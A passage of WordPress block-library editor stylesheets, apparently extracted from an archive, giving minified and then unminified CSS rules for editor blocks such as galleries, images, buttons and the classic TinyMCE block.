.components-menu-group__label,.block-library-video-tracks-editor__track-list .components-menu-group__label{padding:0}.block-library-video-tracks-editor__add-tracks-container,.block-library-video-tracks-editor__single-track-editor,.block-library-video-tracks-editor__track-list{padding:12px}.block-library-video-tracks-editor__single-track-editor .components-base-control .components-base-control__label{margin-bottom:4px}.block-library-video-tracks-editor__single-track-editor .components-base-control .components-base-control__field{margin-bottom:12px}.block-library-video-tracks-editor__single-track-editor .components-base-control .components-text-control__input{margin-right:0}.block-library-video-tracks-editor__single-track-editor .components-base-control .components-input-control__label{margin-bottom:4px}.wp-block.wp-block-query-loop{max-width:100%;padding-right:0;list-style:none}.editor-styles-wrapper .wp-block.wp-block-query{max-width:100%}.block-library-query-toolbar__popover .components-popover__content{min-width:230px}.wp-block-query__create-new-link{padding:0 56px 16px 16px}.wp-block>.wp-block-query-pagination{display:flex;flex-wrap:wrap;flex-direction:row}.editor-styles-wrapper .wp-block-query-pagination{max-width:100%}.editor-styles-wrapper .wp-block-query-pagination.block-editor-block-list__layout{margin:0}.block-library-query-pagination-toolbar__popover .components-popover__content{min-width:230px}.wp-block-query-pagination>.wp-block-query-pagination-next,.wp-block-query-pagination>.wp-block-query-pagination-numbers,.wp-block-query-pagination>.wp-block-query-pagination-previous{display:inline-block;margin-top:.5em;margin-right:.5em;margin-bottom:.5em}.wp-block-query-pagination>.wp-block-query-pagination-next:last-child,.wp-block-query-pagination>.wp-block-query-pagination-numbers:last-child,.wp-block-query-pagination>.wp-block-query-pagination-previous:last-child{margin-right:0}.wp-block-query-pagination-numbers a{text-decoration:underline}.wp-block-query-pagination-numbers .page-numbers{margin-left:2px}.wp-block-query-pagination-numbers .page-numbers:last-child{margin-right:0}div[data-type="core/post-featured-image"] img{max-width:100%;height:auto;display:block}.editor-styles-wrapper .post-featured-image_placeholder{display:flex;flex-direction:row;align-items:flex-start;border-radius:2px;background-color:#fff;box-shadow:inset 0 0 0 1px #1e1e1e;padding:12px}.editor-styles-wrapper .post-featured-image_placeholder svg{margin-left:12px}.editor-styles-wrapper .post-featured-image_placeholder p{font-family:-apple-system,BlinkMacSystemFont,Segoe UI,Roboto,Oxygen-Sans,Ubuntu,Cantarell,Helvetica Neue,sans-serif;font-size:13px;margin:0}:root .editor-styles-wrapper .has-pale-pink-background-color{background-color:#f78da7}:root .editor-styles-wrapper .has-vivid-red-background-color{background-color:#cf2e2e}:root .editor-styles-wrapper .has-luminous-vivid-orange-background-color{background-color:#ff6900}:root .editor-styles-wrapper .has-luminous-vivid-amber-background-color{background-color:#fcb900}:root .editor-styles-wrapper .has-light-green-cyan-background-color{background-color:#7bdcb5}:root .editor-styles-wrapper .has-vivid-green-cyan-background-color{background-color:#00d084}:root .editor-styles-wrapper .has-pale-cyan-blue-background-color{background-color:#8ed1fc}:root .editor-styles-wrapper .has-vivid-cyan-blue-background-color{background-color:#0693e3}:root .editor-styles-wrapper .has-vivid-purple-background-color{background-color:#9b51e0}:root .editor-styles-wrapper .has-white-background-color{background-color:#fff}:root .editor-styles-wrapper .has-very-light-gray-background-color{background-color:#eee}:root .editor-styles-wrapper .has-cyan-bluish-gray-background-color{background-color:#abb8c3}:root .editor-styles-wrapper .has-very-dark-gray-background-color{background-color:#313131}:root .editor-styles-wrapper .has-black-background-color{background-color:#000}:root .editor-styles-wrapper .has-pale-pink-color{color:#f78da7}:root .editor-styles-wrapper .has-vivid-red-color{color:#cf2e2e}:root .editor-styles-wrapper .has-luminous-vivid-orange-color{color:#ff6900}:root .editor-styles-wrapper .has-luminous-vivid-amber-color{color:#fcb900}:root .editor-styles-wrapper .has-light-green-cyan-color{color:#7bdcb5}:root .editor-styles-wrapper .has-vivid-green-cyan-color{color:#00d084}:root .editor-styles-wrapper .has-pale-cyan-blue-color{color:#8ed1fc}:root .editor-styles-wrapper .has-vivid-cyan-blue-color{color:#0693e3}:root .editor-styles-wrapper .has-vivid-purple-color{color:#9b51e0}:root .editor-styles-wrapper .has-white-color{color:#fff}:root .editor-styles-wrapper .has-very-light-gray-color{color:#eee}:root .editor-styles-wrapper .has-cyan-bluish-gray-color{color:#abb8c3}:root .editor-styles-wrapper .has-very-dark-gray-color{color:#313131}:root .editor-styles-wrapper .has-black-color{color:#000}:root .editor-styles-wrapper .has-vivid-cyan-blue-to-vivid-purple-gradient-background{background:linear-gradient(-135deg,#0693e3,#9b51e0)}:root .editor-styles-wrapper .has-vivid-green-cyan-to-vivid-cyan-blue-gradient-background{background:linear-gradient(-135deg,#00d084,#0693e3)}:root .editor-styles-wrapper .has-light-green-cyan-to-vivid-green-cyan-gradient-background{background:linear-gradient(-135deg,#7adcb4,#00d082)}:root .editor-styles-wrapper .has-luminous-vivid-amber-to-luminous-vivid-orange-gradient-background{background:linear-gradient(-135deg,#fcb900,#ff6900)}:root .editor-styles-wrapper .has-luminous-vivid-orange-to-vivid-red-gradient-background{background:linear-gradient(-135deg,#ff6900,#cf2e2e)}:root .editor-styles-wrapper .has-very-light-gray-to-cyan-bluish-gray-gradient-background{background:linear-gradient(-135deg,#eee,#a9b8c3)}:root .editor-styles-wrapper .has-cool-to-warm-spectrum-gradient-background{background:linear-gradient(-135deg,#4aeadc,#9778d1 20%,#cf2aba 40%,#ee2c82 60%,#fb6962 80%,#fef84c)}:root .editor-styles-wrapper .has-blush-light-purple-gradient-background{background:linear-gradient(-135deg,#ffceec,#9896f0)}:root .editor-styles-wrapper .has-blush-bordeaux-gradient-background{background:linear-gradient(-135deg,#fecda5,#fe2d2d 50%,#6b003e)}:root .editor-styles-wrapper .has-purple-crush-gradient-background{background:linear-gradient(-135deg,#34e2e4,#4721fb 50%,#ab1dfe)}:root .editor-styles-wrapper .has-luminous-dusk-gradient-background{background:linear-gradient(-135deg,#ffcb70,#c751c0 50%,#4158d0)}:root .editor-styles-wrapper .has-hazy-dawn-gradient-background{background:linear-gradient(-135deg,#faaca8,#dad0ec)}:root .editor-styles-wrapper .has-pale-ocean-gradient-background{background:linear-gradient(-135deg,#fff5cb,#b6e3d4 50%,#33a7b5)}:root .editor-styles-wrapper .has-electric-grass-gradient-background{background:linear-gradient(-135deg,#caf880,#71ce7e)}:root .editor-styles-wrapper .has-subdued-olive-gradient-background{background:linear-gradient(-135deg,#fafae1,#67a671)}:root .editor-styles-wrapper .has-atomic-cream-gradient-background{background:linear-gradient(-135deg,#fdd79a,#004a59)}:root .editor-styles-wrapper .has-nightshade-gradient-background{background:linear-gradient(-135deg,#330968,#31cdcf)}:root .editor-styles-wrapper .has-midnight-gradient-background{background:linear-gradient(-135deg,#020381,#2874fc)}.editor-styles-wrapper .has-small-font-size{font-size:13px}.editor-styles-wrapper .has-normal-font-size,.editor-styles-wrapper .has-regular-font-size{font-size:16px}.editor-styles-wrapper .has-medium-font-size{font-size:20px}.editor-styles-wrapper .has-large-font-size{font-size:36px}.editor-styles-wrapper .has-huge-font-size,.editor-styles-wrapper .has-larger-font-size{font-size:42px}.block-editor-block-list__block{margin-top:28px;margin-bottom:28px}#end-resizable-editor-section{display:none}css/dist/block-library/editor.css000064400000166751151202620300013042 0ustar00/** * Colors */ /** * Breakpoints & Media Queries */ /** * SCSS Variables. * * Please use variables from this sheet to ensure consistency across the UI. * Don't add to this sheet unless you're pretty sure the value will be reused in many places. * For example, don't add rules to this sheet that affect block visuals. It's purely for UI. */ /** * Colors */ /** * Fonts & basic variables. */ /** * Grid System. * https://make.wordpress.org/design/2019/10/31/proposal-a-consistent-spacing-system-for-wordpress/ */ /** * Dimensions. */ /** * Shadows. */ /** * Editor widths. */ /** * Block & Editor UI. */ /** * Block paddings. */ /** * React Native specific. * These variables do not appear to be used anywhere else. */ /** * Breakpoint mixins */ /** * Long content fade mixin * * Creates a fading overlay to signify that the content is longer * than the space allows. */ /** * Focus styles. */ /** * Applies editor left position to the selector passed as argument */ /** * Styles that are reused verbatim in a few places */ /** * Allows users to opt-out of animations via OS-level preferences. */ /** * Reset default styles for JavaScript UI based pages. * This is a WP-admin agnostic reset */ /** * Reset the WP Admin page styles for Gutenberg-like pages. */ /** * These are default block editor widths in case the theme doesn't provide them. */ #start-resizable-editor-section { display: none; } ul.wp-block-archives { padding-left: 2.5em; } .wp-block-audio { margin-left: 0; margin-right: 0; } .edit-post-visual-editor .block-library-block__reusable-block-container .is-root-container { padding-left: 0; padding-right: 0; } .edit-post-visual-editor .block-library-block__reusable-block-container .block-editor-writing-flow { display: block; } .edit-post-visual-editor .block-library-block__reusable-block-container .components-disabled .block-list-appender { display: none; } .wp-block[data-align=center] > .wp-block-button { text-align: center; margin-left: auto; margin-right: auto; } .wp-block[data-align=right] > .wp-block-button { /*!rtl:ignore*/ text-align: right; } .wp-block-button { position: relative; cursor: text; } .wp-block-button:not(.has-text-color):not(.is-style-outline) [data-rich-text-placeholder]::after { color: #fff; } .wp-block-button:focus { box-shadow: 0 0 0 1px #fff, 0 0 0 3px var(--wp-admin-theme-color); outline: 2px solid transparent; outline-offset: -2px; } .wp-block-button[data-rich-text-placeholder]::after { opacity: 0.8; } .wp-block-button__inline-link { color: #757575; height: 0; overflow: hidden; max-width: 290px; } .wp-block-button__inline-link-input__suggestions { max-width: 290px; } @media (min-width: 782px) { .wp-block-button__inline-link { max-width: 260px; } .wp-block-button__inline-link-input__suggestions { max-width: 260px; } } @media (min-width: 960px) { .wp-block-button__inline-link { max-width: 290px; } .wp-block-button__inline-link-input__suggestions { max-width: 290px; } } .is-selected .wp-block-button__inline-link { height: auto; overflow: visible; margin-top: 16px; } .wp-button-label__width .components-button-group { display: block; } .wp-button-label__width .components-base-control__field { margin-bottom: 12px; } div[data-type="core/button"] { display: table; } .wp-block > .wp-block-buttons { display: flex; flex-wrap: wrap; } .wp-block-buttons { /* stylelint-disable indentation */ } .wp-block-buttons > .wp-block { margin-left: 0; margin-top: 0.5em; margin-right: 0.5em; } .wp-block-buttons > .block-list-appender { display: inline-flex; align-items: center; } .wp-block-buttons.is-vertical > .block-list-appender .block-list-appender__toggle { justify-content: flex-start; } .wp-block-buttons > .wp-block-button:focus { box-shadow: none; } .wp-block-buttons:not(.is-content-justification-space-between, .is-content-justification-right, .is-content-justification-left, .is-content-justification-center) .wp-block[data-align=center] { /* stylelint-enable indentation */ margin-left: auto; margin-right: auto; margin-top: 0; width: 100%; } .wp-block-buttons:not(.is-content-justification-space-between, .is-content-justification-right, .is-content-justification-left, .is-content-justification-center) .wp-block[data-align=center] .wp-block-button { margin-bottom: 0; } .wp-block[data-align=center] > .wp-block-buttons { align-items: center; justify-content: center; } .wp-block[data-align=right] > .wp-block-buttons { justify-content: flex-end; } .wp-block-categories ul { padding-left: 2.5em; } .wp-block-categories ul ul { margin-top: 6px; } .wp-block-columns .wp-block { max-width: none; margin-left: 0; margin-right: 0; } @media (min-width: 600px) { .editor-styles-wrapper .block-editor-block-list__block.wp-block-column:nth-child(even) { margin-left: 32px; } } @media (min-width: 782px) { .editor-styles-wrapper .block-editor-block-list__block.wp-block-column:not(:first-child) { margin-left: 32px; } } .block-editor-block-list__block.wp-block-column.wp-block-column { margin-top: 0; margin-bottom: 0; } .wp-block-cover { height: 100%; } .wp-block-cover.is-placeholder { min-height: auto !important; padding: 0 !important; } .wp-block-cover.components-placeholder h2 { color: inherit; } .wp-block-cover.is-transient::before { background-color: #fff; opacity: 0.3; } .wp-block-cover .components-spinner { position: absolute; z-index: 1; top: 50%; left: 50%; transform: translate(-50%, -50%); margin: 0; } .wp-block-cover .block-editor-block-list__layout { width: 100%; } .wp-block-cover .wp-block-cover__inner-container { text-align: left; margin-left: 0; margin-right: 0; } .wp-block-cover .wp-block-cover__placeholder-background-options { width: 100%; } [data-align=left] > .wp-block-cover, [data-align=right] > .wp-block-cover { max-width: 420px; width: 100%; } .block-library-cover__reset-button { margin-left: auto; } .block-library-cover__resize-container { position: absolute !important; top: 0; left: 0; right: 0; bottom: 0; } .block-library-cover__resize-container:not(.is-resizing) { height: auto !important; } .wp-block-embed { margin-left: 0; margin-right: 0; clear: both; } .wp-block-embed.is-loading { display: flex; flex-direction: column; align-items: center; justify-content: center; padding: 1em; min-height: 200px; text-align: center; border-radius: 2px; background-color: #fff; box-shadow: inset 0 0 0 1px #1e1e1e; } .wp-block-embed.is-loading p { font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, Oxygen-Sans, Ubuntu, Cantarell, "Helvetica Neue", sans-serif; font-size: 13px; } .wp-block-embed .components-placeholder__error { word-break: break-word; } .wp-block-embed .components-placeholder__learn-more { margin-top: 1em; } .block-library-embed__interactive-overlay { position: absolute; top: 0; left: 0; right: 0; bottom: 0; opacity: 0; } .wp-block[data-align=left] > .wp-block-embed, .wp-block[data-align=right] > .wp-block-embed { max-width: 360px; width: 100%; } .wp-block[data-align=left] > .wp-block-embed .wp-block-embed__wrapper, .wp-block[data-align=right] > .wp-block-embed .wp-block-embed__wrapper { min-width: 280px; } .wp-block-file { display: flex; justify-content: space-between; align-items: center; margin-bottom: 0; } .wp-block-file .wp-block-file__content-wrapper { flex-grow: 1; } .wp-block-file .wp-block-file__textlink { display: inline-block; min-width: 1em; } .wp-block-file .wp-block-file__textlink:focus { box-shadow: none; } .wp-block-file .wp-block-file__button-richtext-wrapper { display: inline-block; margin-left: 0.75em; } .wp-block-freeform.block-library-rich-text__tinymce { height: auto; /* Allow height of embed iframes to be calculated properly */ /* Remove blue highlighting of selected images in WebKit */ /* Image captions */ /* WP Views */ } .wp-block-freeform.block-library-rich-text__tinymce p, .wp-block-freeform.block-library-rich-text__tinymce li { line-height: 1.8; } .wp-block-freeform.block-library-rich-text__tinymce ul, .wp-block-freeform.block-library-rich-text__tinymce ol { padding-left: 2.5em; margin-left: 0; } .wp-block-freeform.block-library-rich-text__tinymce blockquote { margin: 0; box-shadow: inset 0 0 0 0 #ddd; border-left: 4px solid #000; padding-left: 1em; } .wp-block-freeform.block-library-rich-text__tinymce pre { white-space: pre-wrap; font-family: Menlo, Consolas, monaco, monospace; font-size: 15px; color: #1e1e1e; } .wp-block-freeform.block-library-rich-text__tinymce > *:first-child { margin-top: 0; } .wp-block-freeform.block-library-rich-text__tinymce > *:last-child { margin-bottom: 0; } .wp-block-freeform.block-library-rich-text__tinymce.mce-edit-focus { outline: none; } .wp-block-freeform.block-library-rich-text__tinymce a { color: var(--wp-admin-theme-color); } .wp-block-freeform.block-library-rich-text__tinymce:focus a[data-mce-selected] { padding: 0 2px; margin: 0 -2px; border-radius: 2px; box-shadow: 0 0 0 1px #e5f5fa; background: #e5f5fa; } .wp-block-freeform.block-library-rich-text__tinymce code { padding: 2px; border-radius: 2px; color: #1e1e1e; background: #f0f0f0; font-family: Menlo, Consolas, monaco, monospace; font-size: 14px; } .wp-block-freeform.block-library-rich-text__tinymce:focus code[data-mce-selected] { background: #ddd; } .wp-block-freeform.block-library-rich-text__tinymce .alignright { /*rtl:ignore*/ float: right; /*rtl:ignore*/ margin: 0.5em 0 0.5em 1em; } .wp-block-freeform.block-library-rich-text__tinymce .alignleft { /*rtl:ignore*/ float: left; /*rtl:ignore*/ margin: 0.5em 1em 0.5em 0; } .wp-block-freeform.block-library-rich-text__tinymce .aligncenter { display: block; margin-left: auto; margin-right: auto; } .wp-block-freeform.block-library-rich-text__tinymce .wp-more-tag { width: 96%; height: 20px; display: block; margin: 15px auto; outline: 0; cursor: default; background-image: url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAADtgAAAAoBAMAAAA86gLBAAAAJFBMVEVMaXG7u7vBwcHDw8POzs68vLzGxsbMzMy+vr7AwMDQ0NDGxsYKLGzpAAAADHRSTlMA///zWf+/f///TMxNVGuqAAABwklEQVR4Ae3dMXLaQBTH4bfj8UCpx8hq0vgKvgFNemhT6Qo6gg6R+0ZahM2QLmyBJ99XWP9V5+o3jIUcLQEAAAAAAAAAAAAAAAAAAAAAAABQ8j0WL9lfTtlt18uNXAUA8O/KVtfa1tdcrOdSh9gCQAMlh1hMNbZZ1bsrsQWABsrhLRbz7z5in/32UbfUMUbkMQCAh5RfGYv82UdMdZ6HS2wjT2ILAI8r3XmM2B3WvM59vfO2xXYW2yYAENuPU8S+X/N67mKxzy225yaxBQCxLV392UdcvwV0jPVUj98ntkBWT7C7+9u2/V/vGtvXIWJ6/4rtbottWa6Ri0NUT/u72LYttrb97LHdvUXMxxrb8TO2W2TF1rYbbLG1bbGNjMi4+2Sbi1FsbbvNFlvbFtt5fDnE3d9sP1/XeIyV2Nr2U2/guZUuptNrH/dPI9eLB6SaAEBs6wPJf3/PNk9tYgsAYrv/8TFuzx/fvkFqGtrEFgDEdpcZUb7ejXy6ntrEFgDENvL6gsas4vbdyKt4DACI7TxElJv/Z7udpqFNbAFAbKduy2uU2trttM/x28UWAAAAAAAAAAAAAAAAAAAAAAAAAADgDyPwGmGTCZp7AAAAAElFTkSuQmCC); background-size: 1900px 20px; background-repeat: no-repeat; background-position: center; } .wp-block-freeform.block-library-rich-text__tinymce img::selection { background-color: transparent; } .wp-block-freeform.block-library-rich-text__tinymce div.mceTemp { -ms-user-select: element; } .wp-block-freeform.block-library-rich-text__tinymce dl.wp-caption { margin: 0; /* dl browser reset */ max-width: 100%; } .wp-block-freeform.block-library-rich-text__tinymce dl.wp-caption a, .wp-block-freeform.block-library-rich-text__tinymce dl.wp-caption img { display: block; } .wp-block-freeform.block-library-rich-text__tinymce dl.wp-caption, .wp-block-freeform.block-library-rich-text__tinymce dl.wp-caption * { -webkit-user-drag: none; } .wp-block-freeform.block-library-rich-text__tinymce dl.wp-caption .wp-caption-dd { padding-top: 0.5em; margin: 0; /* browser dd reset */ } .wp-block-freeform.block-library-rich-text__tinymce .wpview { width: 99.99%; /* All IE need hasLayout, incl. 11 (ugh, not again!!) */ position: relative; clear: both; margin-bottom: 16px; border: 1px solid transparent; } .wp-block-freeform.block-library-rich-text__tinymce .wpview iframe { display: block; max-width: 100%; background: transparent; } .wp-block-freeform.block-library-rich-text__tinymce .wpview .mce-shim { position: absolute; top: 0; right: 0; bottom: 0; left: 0; } .wp-block-freeform.block-library-rich-text__tinymce .wpview[data-mce-selected="2"] .mce-shim { display: none; } .wp-block-freeform.block-library-rich-text__tinymce .wpview .loading-placeholder { border: 1px dashed #ddd; padding: 10px; } .wp-block-freeform.block-library-rich-text__tinymce .wpview .wpview-error { border: 1px solid #ddd; padding: 1em 0; margin: 0; word-wrap: break-word; } .wp-block-freeform.block-library-rich-text__tinymce .wpview .wpview-error p { margin: 0; text-align: center; } .wp-block-freeform.block-library-rich-text__tinymce .wpview[data-mce-selected] .loading-placeholder, .wp-block-freeform.block-library-rich-text__tinymce .wpview[data-mce-selected] .wpview-error { border-color: transparent; } .wp-block-freeform.block-library-rich-text__tinymce .wpview .dashicons { display: block; margin: 0 auto; width: 32px; height: 32px; font-size: 32px; } .wp-block-freeform.block-library-rich-text__tinymce .wpview.wpview-type-gallery::after { content: ""; display: table; clear: both; } .wp-block-freeform.block-library-rich-text__tinymce .gallery img[data-mce-selected]:focus { outline: none; } .wp-block-freeform.block-library-rich-text__tinymce .gallery a { cursor: default; } .wp-block-freeform.block-library-rich-text__tinymce .gallery { margin: auto -6px; padding: 6px 0; line-height: 1; overflow-x: hidden; } .wp-block-freeform.block-library-rich-text__tinymce .gallery .gallery-item { float: left; margin: 0; text-align: center; padding: 6px; box-sizing: border-box; } .wp-block-freeform.block-library-rich-text__tinymce .gallery .gallery-caption, .wp-block-freeform.block-library-rich-text__tinymce .gallery .gallery-icon { margin: 0; } .wp-block-freeform.block-library-rich-text__tinymce .gallery .gallery-caption { font-size: 13px; margin: 4px 0; } .wp-block-freeform.block-library-rich-text__tinymce .gallery-columns-1 .gallery-item { width: 100%; } .wp-block-freeform.block-library-rich-text__tinymce .gallery-columns-2 .gallery-item { width: 50%; } .wp-block-freeform.block-library-rich-text__tinymce .gallery-columns-3 .gallery-item { width: 33.3333333333%; } .wp-block-freeform.block-library-rich-text__tinymce .gallery-columns-4 .gallery-item { width: 25%; } .wp-block-freeform.block-library-rich-text__tinymce .gallery-columns-5 .gallery-item { width: 20%; } .wp-block-freeform.block-library-rich-text__tinymce .gallery-columns-6 .gallery-item { width: 16.6666666667%; } .wp-block-freeform.block-library-rich-text__tinymce .gallery-columns-7 .gallery-item { width: 14.2857142857%; } .wp-block-freeform.block-library-rich-text__tinymce .gallery-columns-8 .gallery-item { width: 12.5%; } .wp-block-freeform.block-library-rich-text__tinymce .gallery-columns-9 .gallery-item { width: 11.1111111111%; } .wp-block-freeform.block-library-rich-text__tinymce .gallery img { max-width: 100%; height: auto; border: none; padding: 0; } div[data-type="core/freeform"]::before { transition: border-color 0.1s linear, box-shadow 0.1s linear; border: 1px solid #ddd; outline: 1px solid transparent; } @media (prefers-reduced-motion: reduce) { div[data-type="core/freeform"]::before { transition-duration: 0s; } } div[data-type="core/freeform"].is-selected::before { border-color: #1e1e1e; } div[data-type="core/freeform"] .block-editor-block-contextual-toolbar + div { margin-top: 0; padding-top: 0; } div[data-type="core/freeform"].is-selected .block-library-rich-text__tinymce::after { content: ""; display: table; clear: both; } .mce-toolbar-grp .mce-btn.mce-active button, .mce-toolbar-grp .mce-btn.mce-active:hover button, .mce-toolbar-grp .mce-btn.mce-active i, .mce-toolbar-grp .mce-btn.mce-active:hover i { color: #1e1e1e; } .mce-toolbar-grp .mce-rtl .mce-flow-layout-item.mce-last { margin-right: 0; margin-left: 8px; } .mce-toolbar-grp .mce-btn i { font-style: normal; } .block-library-classic__toolbar { display: none; width: auto; margin: 0; position: -webkit-sticky; position: sticky; z-index: 31; top: 0; border: 1px solid #ddd; border-bottom: none; border-radius: 2px; margin-bottom: 8px; padding: 0; } div[data-type="core/freeform"].is-selected .block-library-classic__toolbar, div[data-type="core/freeform"].is-typing .block-library-classic__toolbar { display: block; border-color: #1e1e1e; } .block-library-classic__toolbar .mce-tinymce { box-shadow: none; } @media (min-width: 600px) { .block-library-classic__toolbar { padding: 0; } } .block-library-classic__toolbar:empty { display: block; background: #f5f5f5; border-bottom: 1px solid #e2e4e7; } .block-library-classic__toolbar:empty::before { font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, Oxygen-Sans, Ubuntu, Cantarell, "Helvetica Neue", sans-serif; font-size: 13px; content: attr(data-placeholder); color: #555d66; line-height: 37px; padding: 14px; } .block-library-classic__toolbar div.mce-toolbar-grp { border-bottom: 1px solid #1e1e1e; } .block-library-classic__toolbar .mce-tinymce-inline, .block-library-classic__toolbar .mce-tinymce-inline > div, .block-library-classic__toolbar div.mce-toolbar-grp, .block-library-classic__toolbar div.mce-toolbar-grp > div, .block-library-classic__toolbar .mce-menubar, .block-library-classic__toolbar .mce-menubar > div { height: auto !important; width: 100% !important; } .block-library-classic__toolbar .mce-container-body.mce-abs-layout { overflow: visible; } .block-library-classic__toolbar .mce-menubar, .block-library-classic__toolbar div.mce-toolbar-grp { position: static; } .block-library-classic__toolbar .mce-toolbar-grp > div { padding: 1px 3px; } .block-library-classic__toolbar .mce-toolbar-grp .mce-toolbar:not(:first-child) { display: none; } .block-library-classic__toolbar.has-advanced-toolbar .mce-toolbar-grp .mce-toolbar { display: block; } .wp-block-gallery li { list-style-type: none; } .wp-block-gallery .block-editor-media-placeholder.is-appender .components-placeholder__label { display: none; } .wp-block-gallery .block-editor-media-placeholder.is-appender .block-editor-media-placeholder__button { margin-bottom: 0; } figure.wp-block-gallery { display: block; margin: 0; } .blocks-gallery-grid.blocks-gallery-grid { padding-left: 0; margin-left: 0; margin-bottom: 0; } .blocks-gallery-item figure:not(.is-selected):focus, .blocks-gallery-item img:focus { outline: none; } .blocks-gallery-item figure.is-selected::before { box-shadow: 0 0 0 1px #fff inset, 0 0 0 3px var(--wp-admin-theme-color) inset; content: ""; outline: 2px solid transparent; position: absolute; top: 0; right: 0; bottom: 0; left: 0; z-index: 1; pointer-events: none; } .blocks-gallery-item figure.is-selected figcaption { z-index: 2; } .blocks-gallery-item figure.is-transient img { opacity: 0.3; } .blocks-gallery-item .is-selected .block-library-gallery-item__inline-menu { display: inline-flex; } .blocks-gallery-item .block-editor-media-placeholder { margin: 0; height: 100%; } .blocks-gallery-item .block-editor-media-placeholder .components-placeholder__label { display: flex; } .block-library-gallery-item__inline-menu { display: none; position: absolute; top: -2px; margin: 8px; z-index: 20; transition: box-shadow 0.2s ease-out; border-radius: 2px; background: #fff; border: 1px solid #1e1e1e; } @media (prefers-reduced-motion: reduce) { .block-library-gallery-item__inline-menu { transition-duration: 0s; } } .block-library-gallery-item__inline-menu:hover { box-shadow: 0 2px 6px rgba(0, 0, 0, 0.05); } @media (min-width: 600px) { .columns-7 .block-library-gallery-item__inline-menu, .columns-8 .block-library-gallery-item__inline-menu { padding: 2px; } } .block-library-gallery-item__inline-menu .components-button.has-icon:not(:focus) { border: none; box-shadow: none; } @media (min-width: 600px) { .columns-7 .block-library-gallery-item__inline-menu .components-button.has-icon, .columns-8 .block-library-gallery-item__inline-menu .components-button.has-icon { padding: 0; width: inherit; height: inherit; } } .block-library-gallery-item__inline-menu.is-left { left: -2px; } .block-library-gallery-item__inline-menu.is-right { right: -2px; } .blocks-gallery-item .components-spinner { position: absolute; top: 50%; left: 50%; margin-top: -9px; margin-left: -9px; } /** * Group: All Alignment Settings */ .wp-block-group .block-editor-block-list__insertion-point { left: 0; right: 0; } .wp-block-group > .wp-block-group__inner-container > [data-align=full] { margin-left: auto; margin-right: auto; } .wp-block-group.has-background > .wp-block-group__inner-container > [data-align=full] { margin-left: -30px; width: calc(100% + 60px); } /** * Group: Full Width Alignment */ [data-align=full] .wp-block-group > .wp-block-group__inner-container > .wp-block { padding-left: 14px; padding-right: 14px; } @media (min-width: 600px) { [data-align=full] .wp-block-group > .wp-block-group__inner-container > .wp-block { padding-left: 0; padding-right: 0; } } [data-align=full] .wp-block-group > .wp-block-group__inner-container > [data-align=full] { padding-right: 0; padding-left: 0; left: 0; width: 100%; max-width: none; } [data-align=full] .wp-block-group.has-background > .wp-block-group__inner-container > [data-align=full] { width: calc(100% + 60px); } [data-type="core/group"].is-selected .block-list-appender { margin-left: 0; margin-right: 0; } [data-type="core/group"].is-selected .has-background .block-list-appender { margin-top: 18px; margin-bottom: 18px; } .block-library-heading-level-dropdown .components-popover__content { min-width: 230px; } .block-library-heading-level-dropdown .components-popover__content > div { padding: 0; } .block-library-heading-level-toolbar { border: none; } .block-library-html__edit { margin-bottom: 28px; } .block-library-html__edit .block-library-html__preview-overlay { position: absolute; width: 100%; height: 100%; top: 0; left: 0; } .block-library-html__edit .block-editor-plain-text { font-family: Menlo, Consolas, monaco, monospace; color: #1e1e1e; padding: 0.8em 1em; border: 1px solid #ddd; border-radius: 4px; max-height: 250px; /* Fonts smaller than 16px causes mobile safari to zoom. */ font-size: 16px; } @media (min-width: 600px) { .block-library-html__edit .block-editor-plain-text { font-size: 13px; } } .block-library-html__edit .block-editor-plain-text:focus { box-shadow: none; } figure.wp-block-image:not(.wp-block) { margin: 0; } .wp-block-image { position: relative; } .wp-block-image .is-applying img, .wp-block-image.is-transient img { opacity: 0.3; } .wp-block-image figcaption img { display: inline; } .wp-block-image .components-spinner { position: absolute; top: 50%; left: 50%; margin-top: -9px; margin-left: -9px; } .wp-block-image:not(.is-style-rounded) > div { border-radius: inherit; } .wp-block-image .components-resizable-box__container { display: inline-block; } .wp-block-image .components-resizable-box__container img { display: block; width: inherit; height: inherit; } .block-editor-block-list__block[data-type="core/image"] .block-editor-block-toolbar .block-editor-url-input__button-modal { position: absolute; left: 0; right: 0; margin: -1px 0; } @media (min-width: 600px) { .block-editor-block-list__block[data-type="core/image"] .block-editor-block-toolbar .block-editor-url-input__button-modal { margin: -1px; } } [data-align=wide] > .wp-block-image img, [data-align=full] > .wp-block-image img { width: 100%; } .wp-block[data-align=left] > .wp-block-image, .wp-block[data-align=center] > .wp-block-image, .wp-block[data-align=right] > .wp-block-image { display: table; } .wp-block[data-align=left] > .wp-block-image > figcaption, .wp-block[data-align=center] > .wp-block-image > figcaption, .wp-block[data-align=right] > .wp-block-image > figcaption { display: table-caption; caption-side: bottom; } .wp-block[data-align=left] > .wp-block-image { margin-right: 1em; margin-left: 0; margin-top: 0.5em; margin-bottom: 0.5em; } .wp-block[data-align=right] > .wp-block-image { margin-left: 1em; margin-right: 0; margin-top: 0.5em; margin-bottom: 0.5em; } .wp-block[data-align=center] > .wp-block-image { margin-left: auto; margin-right: auto; text-align: center; } .wp-block-image__crop-area { position: relative; max-width: 100%; width: 100%; } .wp-block-image__crop-icon { padding: 0 8px; min-width: 48px; display: flex; justify-content: center; align-items: center; } .wp-block-image__crop-icon svg { fill: currentColor; } .wp-block-image__zoom .components-popover__content { overflow: visible; min-width: 260px; } .wp-block-image__zoom .components-range-control { flex: 1; } .wp-block-image__zoom .components-base-control__field { display: flex; margin-bottom: 0; flex-direction: column; align-items: flex-start; } .wp-block-image__aspect-ratio { height: 46px; margin-bottom: -8px; display: flex; align-items: center; } .wp-block-image__aspect-ratio .components-button { width: 36px; padding-left: 0; padding-right: 0; } .wp-block-latest-comments.has-avatars .avatar { margin-right: 10px; } .wp-block-latest-comments__comment-excerpt p { font-size: 14px; line-height: 1.8; margin: 5px 0 20px; padding-top: 0; } .wp-block-latest-comments.has-avatars .wp-block-latest-comments__comment { min-height: 36px; } .wp-block-latest-posts { padding-left: 2.5em; } .wp-block-latest-posts.is-grid { padding-left: 0; } .wp-block-latest-posts li a > div { display: inline; } .edit-post-visual-editor .wp-block-latest-posts.is-grid li { margin-bottom: 20px; } ol.has-background.has-background, ul.has-background.has-background { padding: 1.25em 2.375em; } .wp-block-media-text .__resizable_base__ { -ms-grid-column: 1; -ms-grid-column-span: 2; grid-column: 1/span 2; -ms-grid-row: 2; grid-row: 2; } .wp-block-media-text .editor-media-container__resizer { width: 100% 